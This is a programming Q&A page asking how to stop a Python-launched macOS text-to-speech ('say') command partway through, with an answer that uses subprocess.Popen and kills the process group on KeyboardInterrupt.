$challenge. You must not call this method without calling send_sasl_auth ()before. - send_starttls Sends the starttls command to the server. - send_iq ($id, $type, $create_cb, %attrs) This method sends an IQ stanza of type $type(to be compliant only use: 'get', 'set', 'result' and 'error'). If $create_cbis a code reference it will be called with an XML::Writer instance as first argument, which must be used to fill the IQ stanza. The XML::Writer is in UNSAFE mode, so you can safely use raw()to write out XML. $create_cbis a hash reference the hash will be used as key=>value arguments for the simxmlfunction defined in AnyEvent::XMPP::Util. simxmlwill then be used to generate the contents of the IQ stanza. (This is very convenient when you want to write the contents of stanzas in the code and don't want to build a DOM tree yourself...). If $create_cbis an array reference it's elements will be interpreted as single $create_cbargument (which can either be a hash reference or code reference themself) and executed sequentially. If $create_cbis undefined an empty tag will be generated. Example: $writer->send_iq ('newid', 'get', { defns => 'version', node => { name => 'query', ns => 'version' } }, to => 'jabber.org') %attrsshould have further attributes for the IQ stanza tag. For example 'to' or 'from'. If the %attrscontain a 'lang' attribute it will be put into the 'xml' namespace. If the 'to' attribute contains an undef it will be omitted. $idis the id to give this IQ stanza and is mandatory in this API. Please note that all attribute values and character data will be filtered by filter_xml_chars(see also AnyEvent::XMPP::Util). - send_presence ($id, $type, $create_cb, %attrs) Sends a presence stanza. $create_cbhas the same meaning as for send_iq. %attrswill let you pass further optional arguments like 'to'. $typeis the type of the presence, which may be one of: unavailable, subscribe, subscribed, unsubscribe, unsubscribed, probe, error Or undef, in case you want to send a 'normal' presence. Or something completely different if you don't like the RFC 3921 :-) %attrscontains further attributes for the presence tag or may contain one of the following exceptional keys: If %attrscontainsrscontainsrscontains a 'priority' key: a child xml tag with that name will be generated with the value as content, which must be a number between -128 and +127. Note: If $create_cbis undefined and one of the above attributes (show, status or priority) were given, the generates presence tag won't be empty. Please note that all attribute values and character data will be filtered by filter_xml_chars(see also AnyEvent::XMPP::Util). - send_message ($id, $to, $type, $create_cb, %attrs) Sends a message stanza. $tois the destination JID of the message. $typeis the type of the message, and if $typeis undefined it will default to 'chat'. $typemust be one of the following: 'chat', 'error', 'groupchat', 'headline' or 'normal'. $create_cbhas the same meaning as in send_iq. %attrscontains further attributes for the message tag or may contain one of the following exceptional keys: If %attrscontainsrscontainsrscontains a 'thread' key: a child xml tag with that name will be generated and the value will be the character content. Please note that all attribute values and character data will be filtered by filter_xml_chars(see also AnyEvent::XMPP::Util). - write_error_tag ($error_stanza_node, $error_type, $error) $error_typeis one of 'cancel', 'continue', 'modify', 'auth' and 'wait'. $erroris the name of the error tag child element. If $error. AUTHOR Robin Redeker, <elmex at ta-sa.org>, JID: <elmex at jabber.org> This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.
https://metacpan.org/pod/AnyEvent::XMPP::Writer
CC-MAIN-2018-09
refinedweb
808
65.42
Your browser does not seem to support JavaScript. As a result, your viewing experience will be diminished, and you have been placed in read-only mode. Please download a browser that supports JavaScript, or enable it if it's disabled (i.e. NoScript). @PluginStudent said in how can I convert a c4d file to fbx format: You could write a standalone C++ application that uses the Cineware SDK and the FBX SDK. You could write a standalone C++ application that uses the Cineware SDK and the FBX SDK. you said "You could write a standalone C++ application that uses the Cineware SDK and the FBX SDK." this is I want to do. but is there a free and legal way to get fbx sdk. only cineware sdk cannot complete the task. I have not c4d software. @m_adam so what you mean is I can't convert a c4d file to fbx without a Cinema 4D sofware installed ? c++ SDK or python SDK just work with running Cinema 4D, sdk do not work alone. I haven't Cinema 4D, and I want convert some c4d files to fbx. There ary some other ways? thanks for answer. there are 2 quesions. 1 . if i use python sdk. where can I download it. In there is not free python sdk. I notice that: "c4dpy does work only with commercial licenses" 2 . I can download c++ sdk. I am c++ programmer. I do it according to env: vs2019 22.004_RBCinewaresdk22.0_317036 but i encounter compile problems. I add include lines as below #include "c4d_file.h" #include "default_alien_overloads.h" then, there ars many errors likes that: C2065 'objectToDelete': undeclared identifier use_r22 ...\includes\private_ge_mtools.h 633 see reference to class template instantiation 'cineware::GeTempDynArray<TYPE>' being compiled use_r22 ...\includes\private_ge_mtools.h 687 C3861 'objectToDelete': identifier not found use_r22 C:\Users\boluo\3D Objects\cineware\r22\includes\private_ge_mtools.h 633 I have add include directives and libs config I think i missed something or , there is confiure error. I tried different version vs and different version c4d lib, and I tried c++ 14. But these errors still exist. using sdk or cineware. or use python, but how cat I get python sdk .
https://plugincafe.maxon.net/user/liushu
CC-MAIN-2021-31
refinedweb
365
78.14
From some of my other posts you've probably noticed that I'm a big fan of Node.js. While this is true, and has been my go-to language for a while now, I don't always recommend it to everyone. Just starting out in programming and computer science can be a bit daunting. Which language should you pick? Which IDE should you use? And more importantly, why? In my opinion, the most important thing you should do when programming is choose the right tool for the job. The second most important thing is to choose the tool that you're most comfortable with. If I were to tell you that you should be using C++ since it's one of the fastest languages out there, that may not be good advice if you've never had to deal with memory management or written your own data structures. You'd probably struggle through it and have a bad experience. Python, on the other hand, solves a lot of these problems for you. It runs much slower than C++, but it's also much easier to write. And as a beginner you probably don't care how fast it is, you just want to make something cool and learn the basic concepts. So, the first decision you have to make is which language you want to learn. Of the hundreds of languages out there, why should beginners learn Python? Well, there are a few reasons... Simple Syntax Part of the core philosophy of the language (as summarized by PEP 20, "The Zen of Python"), includes the following: - Beautiful is better than ugly - Simple is better than complex - Readability counts So, as you can see, Python was designed from the beginning with simplicity in mind. This was a breath of fresh air at the time of its creation since some of the more dominant languages at the time were C and C++, which aren't very user friendly. Let's compare the syntax of Python to C++ using a simple 'Hello, World' example: C++: #include stdout int main() { std::cout << "Hello, world!\n"; } Python: print('Hello, world!') There's a pretty big difference there, and all we did was print a string to the console. For good measure let's do another syntax comparison, but this time with PHP: Python: x=1 while x <=5: print 'x is less than 5:' + str(x) x += 1 PHP: <?php $x=1; while($x<=5) { echo "x is less than 5: $x"; x++; } ?> Python really tries to get rid of the 'fluff' and only requires what's really necessary, which is a big reason why it was designed to be used without curly braces and line-ending semicolons. Take a look at the difference it makes (last syntax comparison, I promise): Python def foo(x): if x == 0: bar() baz() else: qux(x) foo(x - 1) C: void foo(int x) { if (x == 0) { bar(); baz(); } else { qux(x); foo(x - 1); } } I'm really not trying to bash on other languages here. All of these other languages mentioned really are great and have tons of uses, but they just aren't very good for beginners. With keywords like is, not, and with, a well-written Python script can almost be read like plain English. This is especially true for if statement conditions, which can be hard to read if they get big enough: a = None b = None if a is not None and b is not None: print 'Foo!' else: print 'Bar!' The conditional statement above is much cleaner than the typical if ((a != null) && (b != null)). Easy to Set up and Run Many beginners trying to learn a language fail before they even write a single line of code. With some languages, like Java, you have to install and set up complicated project directories and then compile your code. With Python, all you have to do to get started is download and run the installer, and run python <your-script>.py. No complicated directory structure to create or compiling to do. Although it's becoming increasingly rare in modern languages, compiling your code can be much harder than you'd think (although, it is a necessary evil). Just take a look at this small makefile for C: CC = gcc CFLAGS = -g -Wall TARGET = myprog all: $(TARGET) $(TARGET): $(TARGET).c $(CC) $(CFLAGS) -o $(TARGET) $(TARGET).c clean: $(RM) $(TARGET) And I consider this to be a simple makefile. I'd choose Python over this any day. Python allows you to learn the concepts of programming first before getting in to the dirty details of how high-level code is translated in to machine-level code, which you should absolutely learn, just not when you're first starting off. Huge Standard Library One of Python's most-touted strengths is its standard library, and for good reason. It comes with over 300 modules (in version 3.5), ranging from a minimal HTTP server (BaseHTTPServer) to databases (sqlite3), to compression libraries (gzip). A vast majority of the things you'll want to do with Python is usually already done for you in these standard libraries. So you can start creating cool things with little effort, like apps with machine learning. Every now and then I'll have to remind myself to look through the modules and see what all is available to avoid rewriting the code myself. So before you go off and try to write a url parsing library, check to see if it already exists first! One of the best parts about not having to write all this code yourself is knowing it's been thoroughly tested and bug-free. Much of this code has been around for a while and used at top companies (which we'll talk about later), so you know it's been put through the ringer. The Community A large, active community means two things: - Lots of third-party libraries - Lots of people to help you These points are arguably some of the most important reasons why you should use Python, regardless of your skill level. This means you'll have tons more documentation, tutorials, and code to look through to better learn the language. Python has consistently ranked highly as a top programming language by various sources, like by Redmonk (#4) and Tiobe (#5). Even more important than language popularity is demand by employers. You can see from the graph below (by Indeed) that Python is the second most in-demand language by employers, which means you have a better chance of using your programming skills as a career. Easy to Debug As a beginner, one of the hardest skills to master is debugging. This is where you really get to know a language and its inner-workings. Occasionally you'll have easy bugs that are just syntax mistakes, and other times you'll have really hard-to-find bugs that only show up 1 out of the 100 times you run your program. This is where you'll really get to know your debugger and common errors in a language. Lucky for you, Python has very good error handling and reporting, while many other languages don't. For example, in C++, if something goes wrong (like derefencing an invalid pointer, accessing an array element out of bounds, etc) you'll be lucky if the program crashes. That way you know there is a problem somewhere in your program, but you likely won't know where (and debuggers aren't always straight-forward for a beginner). If you're unlucky the program won't crash (or just crash at random times) and instead will give you obscure bugs that aren't very obvious. What Python Sucks At Okay, I didn't think it would be right to write up this glowing article on Python and not talk about its downsides. Like any other language out there it's far from perfect, there are plenty of things you shouldn't use it for. As I've mentioned a few times, Python is slow. Like really slow when compared to compiled languages like C/C++ or Go. This is because it has quite a few features that slow it down, like being dynamically typed and having garbage collection. What this means for you is you shouldn't use pure Python for processing lots of data, but instead you'll have to add C++ hooks (which we'll talk about another day). And thanks to Python's garbage collection you can't use it for real-time systems. This is because garbage collection makes code run in a non-deterministic length of time, so you won't know if your function will take 1ms or 100ms to run. There are just too many unknowns. Instead, for these real-time programs you'll usually have to use a language with manual memory management like C or C++. Along those same lines, since Python relies on so many system resources and has an interpreter, you can usually (I say 'usually' because there are other options) only run Python code on top of a system with an operating system (meaning no microcontrollers or other embedded systems). Conclusion These are just a few of the reasons why Python is great for beginners. There are so many resources these days to get started that it'll be a small investment of time to start programming with Python. Which language did you learn first, and why? Let us know in the comments!
http://stackabuse.com/why-beginners-should-learn-python/
CC-MAIN-2017-47
refinedweb
1,586
68.6
Clojure Goodness: Remove Consecutive Duplicate Elements From Collection The Clojure core namespace contains many functions. One of the functions is the dedupe function. This function can remove consecutive duplicates from a collection and returns a lazy sequence where only one of the duplicates remain. It will not remove all duplicate elements from the collection, but only when the element is directly followed by a duplicate element. The function returns a transducer when no argument is given. In the following code sample we use the dedupe function on several collections: (ns mrhaki.core.dedupe (:require [clojure.test :refer [is]])) ;; In the following example we have the results ;; from several throws with a dice and we want ;; remove duplicates that are thrown after another. (is (= [1 5 6 2 3 1] (dedupe [1 5 5 6 2 3 3 1]))) ;; Only consecutive duplicates are removed. (is (= ["Clojure" "Groovy" "Java" "Clojure"] (dedupe ["Clojure" "Groovy" "Java" "Java" "Java" "Clojure"]))) ;; String is also a collection. (is (= [\a \b \c \d \e \f] (dedupe "aabccdeff"))) ;; For example a collection of mouse clicks where ;; we want to get rid of consecutive clicks at the same position. (is (= [{:x 1 :y 2} {:x 1 :y 1} {:x 0 :y 0}] (dedupe '({:x 1 :y 2} {:x 1 :y 1} {:x 1 :y 1} {:x 0 :y 0})))) Written with Clojure 1.10.1.
https://blog.jdriven.com/2021/02/clojure-goodness-remove-consecutive-duplicate-elements-from-collection/
CC-MAIN-2021-10
refinedweb
225
61.36
I made this post on stackoverflow about the same issue, going to copy the text. I think I could really use someone who’s more experienced with django to give me a quick lead on what I’m missing here. I downloaded a template in the form of a zip file on my machine. It has a file for a homepage, auth-login.html . If I load auth-login.html within the zip file then it loads correctly, I see styling and I don’t get any console errors. But it seems like I can’t get this template to load its css and styling in my Django project via python manage.py runserver with DEBUG=true . I’m trying to just get this on a development server and I haven’t really been able to get past step 1. When I try to go to my application’s home page, I see unstylized times new roman text in my browser. No styling loads on the page at all. I’m not getting server/console errors either. I made an html file within my templates folder, index.html, that just has the contents of auth-login.html pasted into it (and I edited every or tag to use the {% static %} path. I set this as my home page. It just leads to an unstylized html page in Times New Roman. My Django project is of the following structure lpbsproject/ project_root/ staticFiles/ (STATIC_ROOT, where collectstatic copies to) project_app/ settings.py urls.py wsgi.py, asgi.py, __init__.py... static/ (STATIC_URL, original location of static files) assets/ (this folder is copied/pasted from the template .zip) css/, js/, ... user_auth/ migrations views.py admin.py, models.py, apps.py, test.py ... templates/ manage.py Here’s the <head> of my html file with all the <link> and <script> statements. These currently aren’t generating errors. {% load static %} <!doctype html> <html lang="en"> <head> <title>Login template from online</title> <link rel="shortcut icon" href="{% static 'assets/images/favicon.ico' %}"> <link href="{% static 'assets/css/bootstrap.min.css' %}" id="bootstrap-style"/> <link href="{% static 'assets/css/icons.min.css' %}" type="text/css" /> <link href="{% static 'assets/css/app.min.css' %}" id="app-style" type="text/css" /> <script src="{% static 'assets/libs/jquery/jquery.min.js' %}"></script> <script src="{% static 'assets/libs/bootstrap/js/bootstrap.bundle.min.js' %}"></script> <script src="{% static 'assets/libs/metismenu/metisMenu.min.js' %}"></script> <script src="{% static 'assets/libs/simplebar/simplebar.min.js' %}"></script> <script src="{% static 'assets/libs/node-waves/waves.min.js' %}"></script> <script src="{% static 'assets/js/app.js' %}"></script> </head> In settings.py, this is how BASEDIR and the static file location are specified BASE_DIR = Path(__file__).resolve().parent.parent # points to project_root/ directory STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(BASE_DIR, 'static') ] STATIC_ROOT = os.path.join(BASE_DIR, 'staticFiles') There’s ~1200 files in project_root/static/assets/ and I am seeing these get copied into project_root/staticFiles from python manage.py collectstatic . Last night I was dealing with some weridness where none of the js files were getting copied via the collectstatic command. and urls.py for curiosity sake… from django.contrib import admin from django.urls import path from django.contrib import admin from django.urls import path, include from user_auth import views urlpatterns = [ path('admin/', admin.site.urls), path('', views.userLogin, name='loginHome'), path('login', views.userLogin, name='login'), path('logout', views.userLogout, name='logout'), path('registration', views.userRegistration, name='registration'), path('dashboard', views.dashboard, name='dashboard'), ] So if python manage.py collectstatic is working… why am I still not able to see any styling at all? I’m not really sure what’s going wrong here. It’s felt way too difficult to just get a simple /static/ folder working for this project.
https://forum.djangoproject.com/t/django-not-rendering-any-static-files-or-css-styling/5385
CC-MAIN-2022-21
refinedweb
629
53.47
Appending paths to Python's sys.pathis pretty important if you are learning Python or testing some application in your local machine. If you append paths to sys.path by import sysand sys.path.append("/path/")it will only be temporary: once you restart the interpreter it won't work anymore. A permanent solution is editing the site.py file. Just open your favourite text-editor with admin privileges (I did gksu gedit), and open /etc/python2.x/site.pysite.py is the file that python interpreter looks up when it is invoked file. (2.x is the Python version) Now, add these two lines to site.py: import sys sys.path.append("/path/you/want/to/append/") Done! Source: TheScripts To check if everything's done, restart the interpreter and run these commands: import sys sys.path[-1] And we will be greeted with the path you just added. ;)
http://www.technabled.com/2008/02/easiest-way-to-append-paths-in-python.html
CC-MAIN-2017-13
refinedweb
150
69.48
Learn how easy it is to sync an existing GitHub or Google Code repo to a SourceForge project! See Demo > Please, don't startle when you see the regression test tick counts for the > mcs51 as of today. I've increased the baudrate from 9600 to 57600 and now > the outcome is about 5x less ticks! All output is framework related and > not functional to the tests anyway. I call it overhead. Many thanks for your optimizations, they make testing life much easier. I'm unhappy about the summary for quite some time. Today I made a small test: first I run the regression tests with today's svn: > Summary for 'mcs51': 0 failures, 4843 tests, 630 test cases, 889592 bytes, 143378976 ticks Then I added an empty dummy test (see below) in order to measure the overhead: > Summary for mcs51: 0 failures, 4844 tests, 631 test cases, 890706 bytes, 143616060 ticks The number of bytes increased by 1114 bytes, the number of ticks increased by 237084. Ok, now we know the overhead of an empty test. Now let's calculate the average size and tick count: 889592 / 630 = 1412 (bytes) 143378976 / 630 = 227600 (ticks) In this simple approach the average tick count is even smaller than the number of additional ticks needed by dummy.c. Most propably it's necessary to add more tests to evaluate numbers for a "test" and a "test case". A further (not exact) result is that 80% of the average test size (1114 / 1412) is overhead. The numbers in the regression test results are obviously mostly determined by the overhead. Therefore they are not very usefull when evaluating optimizations. I would love to see the numbers in the result minus the overhead. I'll supply the dummy tests and the correct mathematics, if somebody helps me with the python script "collate-results.py". Bernhard /* dummy test for evaluation of overhead */ #include <testfwk.h> void testDummy(void) { ASSERT(1); } View entire thread
http://sourceforge.net/p/sdcc/mailman/message/13597589/
CC-MAIN-2015-14
refinedweb
327
70.73
import "github.com/cockroachdb/datadriven" datadriven.go line_parser.go line_scanner.go test_data_reader.go RunTest invokes a data-driven test. The test cases are contained in a separate test file and are dynamically loaded, parsed, and executed by this testing framework. By convention, test files are typically located in a sub-directory called "testdata". Each test file has the following format: <command>[,<command>...] [arg | arg=val | arg=(val1, val2, ...)]... <input to the command> ---- <expected results> The command input can contain blank lines. However, by default, the expected results cannot contain blank lines. This alternate syntax allows the use of blank lines: <command>[,<command>...] [arg | arg=val | arg=(val1, val2, ...)]... <input to the command> ---- ---- <expected results> <more expected results> ---- ---- To execute data-driven tests, pass the path of the test file as well as a function which can interpret and execute whatever commands are present in the test file. The framework invokes the function, passing it information about the test case in a TestData struct. The function must returns the actual results of the case, which RunTest() compares with the expected results. If the two are not equal, the test is marked to fail. Note that RunTest() creates a sub-instance of testing.T for each directive in the input file. It is thus unsafe/invalid to call e.g. Fatal() or Skip() on the parent testing.T from inside the callback function. Use the provided testing.T instance instead. It is possible for a test to test for an "expected error" as follows: - run the code to test - if an error occurs, report the detail of the error as actual output. - place the expected error details in the expected results in the input file. It is also possible for a test to report an _unexpected_ test error by calling t.Error(). RunTestFromString is a version of RunTest which takes the contents of a test directly. Verbose returns true iff -datadriven-quiet was not passed. Walk goes through all the files in a subdirectory, creating subtests to match the file hierarchy; for each "leaf" file, the given function is called. This can be used in conjunction with RunTest. For example: datadriven.Walk(t, path, func (t *testing.T, path string) { // initialize per-test state datadriven.RunTest(t, path, func (t *testing.T, d *datadriven.TestData) string { // ... } } Files: testdata/typing testdata/logprops/scan testdata/logprops/select If path is "testdata/typing", the function is called once and no subtests are created. If path is "testdata/logprops", the function is called two times, in separate subtests /scan, /select. If path is "testdata", the function is called three times, in subtest hierarchy /typing, /logprops/scan, /logprops/select. CmdArg contains information about an argument on the directive line. An argument is specified in one of the following forms: - argument - argument=value - argument=(values, ...) ParseLine parses a datadriven directive line and returns the parsed command and CmdArgs. An input directive line is a command optionally followed by a list of arguments. Arguments may or may not have values and are specified with one of the forms: - <argname> # No values. - <argname>=<value> # Single value. - <argname>=(<value1>, <value2>, ...) # Multiple values. Note that in the last case, we allow the values to contain parens; the parsing will take nesting into account. For example: cmd exprs=(a + (b + c), d + f) is valid and produces the expected values for the argument. Scan attempts to parse the value at index i into the dest. type TestData struct { // Pos is a file:line prefix for the input test file, suitable for // inclusion in logs and error messages. Pos string // Cmd is the first string on the directive line (up to the first whitespace). Cmd string // CmdArgs contains the k/v arguments to the command. CmdArgs []CmdArg // Input is the text between the first directive line and the ---- separator. Input string // Expected is the value below the ---- separator. In most cases, // tests need not check this, and instead return their own actual // output. // This field is provided so that a test can perform an early return // with "return d.Expected" to signal that nothing has changed. Expected string } TestData contains information about one data-driven test case that was parsed from the test file. Fatalf wraps a fatal testing error with test file position information, so that it's easy to locate the source of the error. HasArg checks whether the CmdArgs array contains an entry for the given key. ScanArgs looks up the first CmdArg matching the given key and scans it into the given destinations in order. If the arg does not exist, the number of destinations does not match that of the arguments, or a destination can not be populated from its matching value, a fatal error results. If the arg exists multiple times, the first occurrence is parsed. cmd arg1=50 arg2=yoruba arg3=(50, 50, 50) the following would be valid: var i1, i2, i3, i4 int var s string td.ScanArgs(t, "arg1", &i1) td.ScanArgs(t, "arg2", &s) td.ScanArgs(t, "arg3", &i2, &i3, &i4) Package datadriven imports 15 packages (graph) and is imported by 27 packages. Updated 2020-10-31. Refresh now. Tools for package owners.
https://godoc.org/github.com/cockroachdb/datadriven
CC-MAIN-2020-50
refinedweb
860
58.58
NAME VOP_STRATEGY — read or write a file system buffer SYNOPSIS #include <sys/param.h> #include <sys/vnode.h> int VOP_STRATEGY(struct vnode *vp, struct buf *bp); DESCRIPTION The arguments are: vp The vnode that the buffer is for. bp The buffer to be read or written. This call either reads or writes data from a file, depending on the value of bp->b_io.bio_cmd. The call may block. RETURN VALUES Always zero. Errors should be signalled by setting BIO_ERROR on b_ioflags field in struct buf, and setting b_error to the appropriate errno value. SEE ALSO vnode(9) AUTHORS This manual page was written by Doug Rabson.
http://manpages.ubuntu.com/manpages/precise/man9/VOP_STRATEGY.9freebsd.html
CC-MAIN-2016-26
refinedweb
106
68.87
#include <wx/html/helpctrl.h> This help controller provides an easy way of displaying HTML help in your application (see HTML Sample, test example). The help system is based on books (see wxHtmlHelpController: in Help Files Format. The directory helpfiles in the HTML Sample contains sample project files. Note that the Microsoft's HTML Help Workshop () also runs on other platforms using WINE () and it can be used to create the .hpp, .hhk and .hhc files through a friendly GUI. The commercial tool HelpBlocks () can also create these files. Constructor. Adds a book (i.e. a .hhp file; an HTML Help Workshop project file) into the list of loaded books. This must be called at least once before displaying any help. bookFile or bookUrl may be either ".hhp" file or a ZIP archive that contains an arbitrary number of ".hhp" files in its top-level directory. This ZIP archive must have ".zip" or ".htb" extension (the latter stands for "HTML book"). In other words, is possible and is the recommended way. This protected virtual method may be overridden so that when specifying the wxHF_DIALOG style, the controller uses a different dialog. This protected virtual method may be overridden so that the controller uses a different frame. Displays page x. This is THE important function - it is used to display the help in application. You can specify the page in many ways: Looking for the page runs in these steps: This is an overloaded member function, provided for convenience. It differs from the above function only in what argument(s) it accepts.This alternative form is used to search help contents by numeric IDs. Displays help window and focuses contents panel. Implements wxHelpControllerBase. Displays help window and focuses index panel. Returns the current help dialog. (May be NULL.) Returns the current help frame. (May be NULL.) Get the current help window. Displays the help window, focuses search panel and starts searching. Returns true if the keyword was found. Optionally it searches through the index (mode = wxHELP_SEARCH_INDEX), default the content (mode = wxHELP_SEARCH_ALL). ".hhc"file(s). You should list all pages in the contents file. Implements wxHelpControllerBase. Reads the controller's setting (position of window, etc.) Set the help window to be managed by this controller. This makes it possible to have a help window that might not be in a wxHtmlHelpFrame or dialog but is embedded in some other window in the application. Be sure to use the wxHF_EMBEDDED style in this case. Sets whether the help frame should prevent application from exiting if it's the only remaining top level window.. Sets format of title of the frame. Must contain exactly one "%s" (for title of displayed HTML page). Associates the the default wxConfig object if available (for details see wxConfigBase::Get and wxConfigBase::Set). Stores controllers setting (position of window etc.)
https://docs.wxwidgets.org/3.1.3/classwx_html_help_controller.html
CC-MAIN-2021-43
refinedweb
471
68.87
We're now living in a time that's considered as the next era of industrial revolution, but not in the same way that we know from the history books. Computer science, programming, and software development in general ignited this new revolution, and great startup companies like Facebook and Google are fully supporting campaigns – such as Hour of Code and Code.org – to fuel it by introducing people to computer science and the basics of programming. Modern society is now starting to understand that computer science and informatics should be part of the basic learning materials for children, and how it can help them progress. Think of how children in the Netherlands learn about finance. They're taught the basics from an early age, are aware of stocks and commodities, are familiar with income and expenses, and know what hedging is by the time they reach high school. This information helps them to plan their financial future and will most probably do better financially in life. In my opinion, all the people who have not learned programming should at least go through a minimal programming course, and this is not because I am fanatic. Programming will help people learn how to break down problems and build up a step-by-step solution to resolve them. This will develop analytical thinking and helps them see the connections between different problems or solutions. In this article, I present the three basic programming languages that I consider to be good for people who want to start learning programming. All of the three languages are dynamic programming languages, which are good starter languages because newbies don’t have to understand the in-depth meaning of types from the beginning. Python The Python programming language appeared in 1991. While it's been around for 25 years, it is still one of the most widely adopted programming languages in the world. Python does have an interpreter that can be used to play with the language. Python is usually installed by default on Linux systems, but if not, it can be installed through well-known package managers, like APT under Ubuntu: sudo apt-get install python Another reason why Python is good for learning programming is because it uses indentation to separate code blocks. There is no additional characters to use for code block separation, like in C or C# or Java, and this also forces the developer to always indent and format the code correctly, otherwise the behavior is not the expected one. Now let’s see some code examples that show off the features of Python that make it easy to use for new developers. Hello World in Python Every programming tutorial starts with the traditional Hello, World! Application. When you are using Python, this is a one-liner: print("Hello, World!") Conditionals in Python The conditional statements’ format in Python are easily readable. In the function below, we check if the number given as parameter is an even number or not: def is_even(number): """ Checks if a number is even or not """ if number % 2 == 0 and number > 0: return True else: return False Here's another great example of conditions, which is readable: def my_name_contains(letter, name): if letter in name: return True else: return False if __name__ == '__main__': if my_name_contains("g", "Greg") and my_name_contains(("r", "Greg"): print("Yes it does, grrr!") else: print("Nope, wrong letter!") Here, the two if statements are the important part. The first if in my_name_contains function checks if the name variable has the letter given in parameter. The second if can be read out loud like text – if my name contains g and my name contains r then print a message. Since Python is a dynamic language the assignments below are valid: test_var = "John"; test_var = 123; test_var = [1, 2, 3, 4]; print(test_var); # will print [1, 2, 3, 4] Another good example of easily readable code is the for loop: for number in range(15): print(number) dictionary = {"Name": "John", "Address": "No Address Available...", "City": "Chicago", "PhoneNumber": "123-123-123"} for key, val in dictionary.iteritems(): print("{0} has value of {1}".format(key, val)) The first for loop prints the numbers from 0 till 14. The we defines a dictionary; this is like an associative array within Python. The dictionary holds key-value pairs. In our example, the keys are: Name, Address, City and PhoneNumber. In the second for loop we go through the keys and values at the same time, this way within the inner part of the loop we can print to the console every element in the dictionary. In Python’s website there is a good tutorial for learning Python programming. Here you can find a tutorial for the strategic game, Civilization IV. There are some well-known frameworks which were developed using Python, like the Flask Web development framework or Django, the Web framework for perfectionists. Ruby Ruby is another dynamic programming language that was released in 1995. Ruby was influenced by many programming languages, including Python. The two languages have some similarities but do have some notable differences such as with the until loop: vacation_left = 7; until vacation_left == 0 puts "Yipeee I still have some vacation to take out" vacation_left -= 1 end For example, the code above will output “Yipeee I still have vacation to take out” seven times then it will stop the execution. Ruby has arrays, while Python has lists. <pre class="brush:ruby;toolbar:false;">names = ["Jane", "John", "Bill", "Yoko", "Fred", "Emma"] for name in names puts name end</pre> In this code, we declare an array of strings, and the declaration is the same as in the case of Python’s Lists. After the array, we have a for loop, which iterates over the array and writes the names to the console. Please note that another difference between Python and Ruby is the end keyword. In Ruby, the loops and conditionals have to have an end statement at the end of the implemented logic. You can define hashes – these are the same as dictionaries in Python – but the creation syntax is a little different: john_doe = { :firstName => "John", :lastName =>"doe", :job => "software engineer", :birthdate => Date.new(1983, 3, 5) } for key, val in john_doe puts "#{key} has a value of #{val}" end In Ruby, the dictionary keys are marked with a : (colon), and the values can be any object. There is also an interesting difference between Python and Ruby in conditionals—while Python has the elif keyword, Ruby has the elsif keyword. Here is an example of Ruby’s conditional statements: if john_doe[:job] == "software engineer" puts "he is awesome" elsif order[:job] == "blogger" puts "he is not a software engineer, but a blogger" else puts "I do not know what is his job but I am sure its good :)" end Another nice feature of Ruby is the unless statement. This can be used in cases when you would need to check the negation of some value in an if statement. For example, when you write software for an alarm system, you may have this valid code in any C based language: if (!is_somebody_home) { setAlarm(); } If we read this out loudly it sounds like if not is somebody at home, which is not very intuitive and easy to understand. In Ruby, we can use the unless statement: unless is_somebody_home setAlarm; Besides being easy to learn, Ruby is an interesting language with many nice features for programmers, and coding in Ruby can be fun. Ruby also has a widely adopted Web framework, called RoR, Ruby on Rails. JavaScript JavaScript is the third on my list, because it is so widely adopted and recognized as the future language of Web development. I assume everybody who starts programming wants to learn a little Web development and for that JavaScript is a must. Besides that, now you can develop the backend and frontend of your applications using only one language, JavaScript. JavaScript is a dynamic programming language too, like Python and Ruby. JavaScript has a C-like syntax, since it was inspired from Java. For example, creating arrays can be done the same way as in Ruby: numbers = [1, 2, 3, 4, 5, 6, 7]; for (var number in numbers) { console.log(number); } This code creates a new array with numbers from 1 to 7 and then logs these numbers to the console. The conditionals on JavaScript side look very much like in any C-like language, with if/else if/else constructs. if (numbers.length > 7) { console.log(numbers[7]); } else if (numbers.length == 7) { console.log(numbers[6]); } else { console.log(numbers[numbers.length - 1]); } The dictionaries within JavaScript can be the JSON objects themselves: var johnDoe = { "firstName": "John", "lastName": "Doe", "birthDate": new Date(1983, 3, 5) }; console.log(john_doe["lastName"]); console.log(john_doe.firstName); In this code example, we create a new JavaScript object with firstName, lastName and birthDate properties. JSON values can be accessed in two ways: using the index operator and specifying the key or trying to access the value directly on the object. The advantage of learning JavaScript is that you get familiar with C-like syntax and then when you learn another programming language such as Java or C# or even C, the syntax should already be familiar. There are many Web frameworks that are based on JavaScript, maybe one of the widely known ones are jQuery, Angular.js, Ember.js and React.js. On the server side, we have Node.js with a lot of extensions and useful frameworks. Those new to code will find these three languages useful – Python because of its simplicity, Ruby because it's fun (and was influenced by Python), and JavaScript because it could very well be the future of Web and application development. If you have other suggestions on which languages newbies should learn first, please leave a comment and share your thoughts!
https://www.fr.freelancer.com/community/articles/top-programming-languages-newbies-should-get-acquainted-with-2637
CC-MAIN-2018-26
refinedweb
1,645
59.03
I am having some difficulty finding a solution to my problem in python. I have a function that uses text to speech, to say the given phrase. I want to be able to interrupt the function in mid process. For example, my computer is saying a very long paragraph and I want it to stop talking. How would I do this. Is it possible? This is how I am doing the TTS: os.system('say -v Oliver "' + text + '"') You can use the KeyboardInterrupt exception to end the say. You need to spawn the say using Popen [function of subprocess] and attach a process ID so you can later kill it if the exception is triggered. import signal import subprocess try: # spawn process proc = subprocess.Popen(["say", "-v Oliver \"{}\"".format(text)], stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid) # Terminal output incase you need it (out, err) = proc.communicate() except KeyboardInterrupt: # function to kill the subprocess os.killpg(os.getpgid(pro.pid), signal.SIGTERM) pass
https://codedump.io/share/P0Rsb7DBrEEs/1/python---interrupting-function-while-executing
CC-MAIN-2017-26
refinedweb
164
60.82
